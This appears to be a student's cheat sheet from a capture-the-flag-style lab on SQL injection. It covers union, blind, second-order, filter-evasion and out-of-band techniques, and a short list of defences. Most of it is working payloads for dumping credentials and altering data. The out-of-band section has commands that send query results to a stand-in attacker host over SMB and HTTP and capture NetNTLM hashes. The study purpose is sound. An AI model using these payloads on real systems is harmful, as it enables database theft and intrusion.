Different types of SQL Injection
In-Band SQLi
Easy to detect and exploit SQLi vulnerability on website. Returns data from database on same website
Error-Based SQLi
Easily obtain information about the database structure as error messages.
Union-Based SQLi
Exploit UNION operator with SELECT
statement
Blind SQLi
None or near none feedback for queries.
Boolean based SQLi
Sometimes we can only exploit true/false query like if username exists.
Time based SQLi
Exploit sleep() when sending queries. When there is no visual indicator of response we can see how long it took to response.
Out-of-Band SQLi
hacker to website -> website to db
->
db to hacker's with the requested data using http or dns protocol.
Terms
information_schema contains information about every
database and tables. Every user has access to this.
How to protect against SQLi
- Prepared Statements - parameters are added to query to prepared places
- Input Validation - disallow some characters like
'or--. Allow only certain strings. - Escaping User Input - Allow user to use chars like
$ ' "with\that changes them to regular strings.
Examples
Database name
0 UNION SELECT 1,2,database()
Database tables
0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'
using separator
0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM staff_users
return true
’ OR 1=1;–
Time passed attacks
Table Schema
admin123' UNION SELECT SLEEP(1),2 where database() like 'sqli_four';--
Table Name
admin123' UNION SELECT SLEEP(1), 2 FROM information_schema.TABLES WHERE table_schema = 'sqli_four' and table_name like '%';--
admin123' UNION SELECT SLEEP(1), 2 FROM information_schema.TABLES WHERE table_schema = 'sqli_four' and table_name like '%' and table_name!='users' and table_name!='analytics_referrers';--
Column Name:
analytics_referrers
admin123' UNION SELECT SLEEP(1), 2 FROM information_schema.COLUMNS WHERE table_schema = 'sqli_four' and table_name='analytics_referrers' and COLUMN_NAME='id';--
admin123' UNION SELECT SLEEP(1), 2 FROM information_schema.COLUMNS WHERE table_schema = 'sqli_four' and table_name='analytics_referrers' and COLUMN_NAME like 'domain' and COLUMN_NAME !='id';
users
admin123' UNION SELECT SLEEP(1), 2 FROM information_schema.COLUMNS WHERE table_schema = 'sqli_four' and table_name='users' and COLUMN_NAME like '%';--
admin123' UNION SELECT SLEEP(1), 2 FROM information_schema.COLUMNS WHERE table_schema = 'sqli_four' and table_name='users' and COLUMN_NAME like '%' and column_name != 'password'column_name != 'id' column_name != 'username';--
username and password:
admin123' UNION SELECT SLEEP(1), 2 from analytics_referrers where id like '%';--
<< NONE
admin123' UNION SELECT SLEEP(1), 2 from analytics_referrers where domain like '%';--
<< NONE
admin123' UNION SELECT SLEEP(1), 2 from users where username like '%';-
<< admin
https://website.thm/analytics?referrer=admin123' UNION SELECT SLEEP(1), 2 from users where username='admin' and password like '%';--
<< 4961
Advanced SQLi
Second-order SQLi
Payload gets stored on the first request and fires later when a
different query reuses the stored value.
real_escape_string() and front-end validation don’t
help because nothing breaks at insert time. Hunt for: a value you
control that gets written, then read back into another query
(profile edit, update page, admin view, log viewer).
- Sniff test: store
test'and check if the raw quote survives in the DB. If it does, the query that consumes it later is your real injection point. - If the consuming code uses
multi_query()you get stacked queries. Poison the stored field with a terminated statement, e.g. anssnof12345'; UPDATE books SET book_name='Hacked'; --detonates when an admin hits update.php.
Filter / keyword evasion
Blacklist filters (str_replace on
OR/AND/UNION/SELECT) run on the raw input before the DB decodes it.
Encode so the filter misses it and the DB decodes it back.
OR/ANDstripped -> use||/&&.SELECTstripped -> case itSeLeCt, or break it with inline commentSE/**/LECT.- URL encode the whole thing:
1' || 1=1 --+becomes1%27%20||%201%3D1%20--+. The+puts a space after--so the comment is valid. - No quotes: stay numeric (
OR 1=1), or build strings withCHAR(0x61,0x64,...)/CONCAT(0x61,0x64,...), or hex literal0x61646d696e=admin. - No spaces:
/**/between tokens, or whitespace bytes%09tab,%0ALF,%0CFF,%0DCR,%A0nbsp. e.g.1'%0A||%0A1=1%0A--.
Real targets are blind hit-and-trial, you won’t see the generated query. Rotate encodings until one lands.
OOB exfiltration
For when the channel is blind/sanitised, or the DB box is segmented and you need to push data out. The DB itself makes the outbound request (DNS/HTTP/SMB) carrying the data.
MySQL/MariaDB:
1'; SELECT @@version INTO OUTFILE '\\\\ATTACKBOX_IP\\logs\\out.txt'; --
secure_file_privgatesINTO OUTFILE. Set = writes only to that dir, empty = anywhere. Can’t read it directly, brute the paths.- Catch it with impacket:
python3 smbserver.py -smb2support logs /tmp, then read/tmp/out.txt. Same server also grabs the NetNTLM hash.
MSSQL: xp_cmdshell +
bcp "SELECT ..." queryout \\IP\share\out.txt -c -T.
Oracle:
UTL_HTTP.BEGIN_REQUEST('http://attacker/?d='||data) or
UTL_FILE.
HTTP header injection
User-Agent / Referer / X-Forwarded-For often get logged into a table. If that INSERT isn’t parameterised it’s injectable like any other field, and it’s easy to miss since it never shows in a form.
curl -H "User-Agent: ' UNION SELECT username,password FROM user; #" http://target/
Automation tools
- sqlninja - MSSQL specific, fingerprint + extraction.
- bbqsql - blind SQLi automation framework.
- jsql - Java GUI tool.